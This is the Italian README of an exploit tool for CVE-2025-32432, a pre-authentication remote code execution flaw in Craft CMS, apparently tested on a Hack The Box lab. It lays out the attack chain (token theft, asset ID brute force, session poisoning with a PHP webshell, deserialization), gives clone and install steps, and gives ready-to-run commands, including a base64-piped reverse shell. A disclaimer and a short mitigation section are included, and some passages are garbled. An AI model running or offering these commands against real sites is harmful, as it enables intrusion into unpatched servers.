Exploit RCE pre-auth affidabile per CVE-2025-32432 su Craft CMS 3.x/4.x/5.x, funziona dove altri PoC pubblici falliscono
Autore: P34NUT2
Vulnerabilità: Remote Code Execution (Pre-Autenticato) in Craft CMS
CVE: CVE-2025-32432
Target: Qualsiasi istanza vulnerabile di Craft CMS (3.x / 4.x / 5.x) — testato su Hack The Box: Orion
Questo strumento è fornito esclusivamente per scopi educativi e test di penetrazione autorizzati all'interno di ambienti controllati come Hack The Box, TryHackMe o setup di laboratorio privati di tua proprietà o per i quali hai esplicita autorizzazione scritta a testare.
L'uso non autorizzato di questo strumento contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione a testare è illegale ai sensi del Computer Fraud and Abuse Act (CFAA), della Direttiva UE sugli attacchi ai sistemi informativi e leggi equivalenti nella maggior parte delle giurisdizioni mondiali.
L'autore non si assume alcuna responsabilità o obbligo per qualsiasi uso improprio, danno o conseguenza legale derivante dall'uso di questo software. Usa in modo responsabile ed etico.
La maggior parte delle PoC pubbliche per CVE-2025-32432 fallisce contro target reali come HTB: Orion a causa di:
&, , )><Questo exploit è stato costruito da zero per risolvere questi problemi di affidabilità. Gestisce correttamente la codifica URL, automatizza l'estrazione dinamica dei token e utilizza pipeline wrapper Base64 per ottenere un'esecuzione affidabile contro qualsiasi istanza vulnerabile di Craft CMS — validato su deployment reali e dimostrato su HTB Orion.
| Step | Azione | Descrizione |
|---|---|---|
| 1 | Acquisizione Sessione e CSRF | Estrae CraftSessionId, CRAFT_CSRF_TOKEN e il CSRF_TOKEN dinamico dall'endpoint admin |
| 2 | Scoperta Asset ID | Forza bruta gli Asset ID validi necessari per il payload di generazione transform |
| 3 | Leak del Percorso di Sessione | Inietta un oggetto Guzzle per attivare phpinfo() e leggere dinamicamente session.save_path |
| 4 | Session Poisoning | Inietta un payload webshell PHP URL-encoded nel file di sessione attivo |
| 5 | Trigger RCE | Deserializza la sessione avvelenata per eseguire comandi di sistema arbitrari |
git clone https://github.com/P34NUT2/CVE-2025-32432-exploit-by-P34NUT2.git
cd CVE-2025-32432-exploit-by-P34NUT2
pip install -r requirements.txt
| Flag | Opzione Lunga | Richiesto | Descrizione |
|---|---|---|---|
-u | --url | ✅ Sì | URL base del target (es. http://example.com) |
-c | --cmd | ✅ Sì | Comando da eseguire sul target remoto |
-a | --asset | ❌ No | Asset ID valido noto (velocizza l'esecuzione) |
-s | --scan-max | ❌ No | Range massimo di brute-force per Asset ID (Default: 300) |
1. Esecuzione Base di un Comando
python3 craftcms_rce_exploit_php.py -u http://example.com -c "whoami"
2. Con un Asset ID Noto (più veloce)
python3 craftcms_rce_exploit_php.py -u http://example.com -a 1 -c "id"
3. Payload Codificato (Consigliato per Caratteri Speciali)
Per evitare che i caratteri speciali vengano alterati dai parser HTTP o troncati durante la gestione della sessione, codifica il tuo comando in Base64 prima di passarlo:
# Step 1 — codifica il tuo comando localmente
echo -n "YOUR_COMMAND_HERE" | base64
# Step 2 — passa la stringa codificata attraverso lo script
python3 craftcms_rce_exploit_php.py -u http://example.com -c "echo <BASE64_STRING> | base64 -d | sh"
4. Reverse Shell tramite Wrapper Base64
python3 craftcms_rce_exploit_php.py -u http://target.htb -c "echo <B64_PAYLOAD> | base64 -d | bash"
Se sei un amministratore di sistema o uno sviluppatore che utilizza Craft CMS, applica le seguenti mitigazioni:
/actions/*) tramite regole firewall o middleware.Questo progetto è concesso in licenza esclusivamente per uso educativo e di test autorizzato. Vedi LICENSE per i dettagli.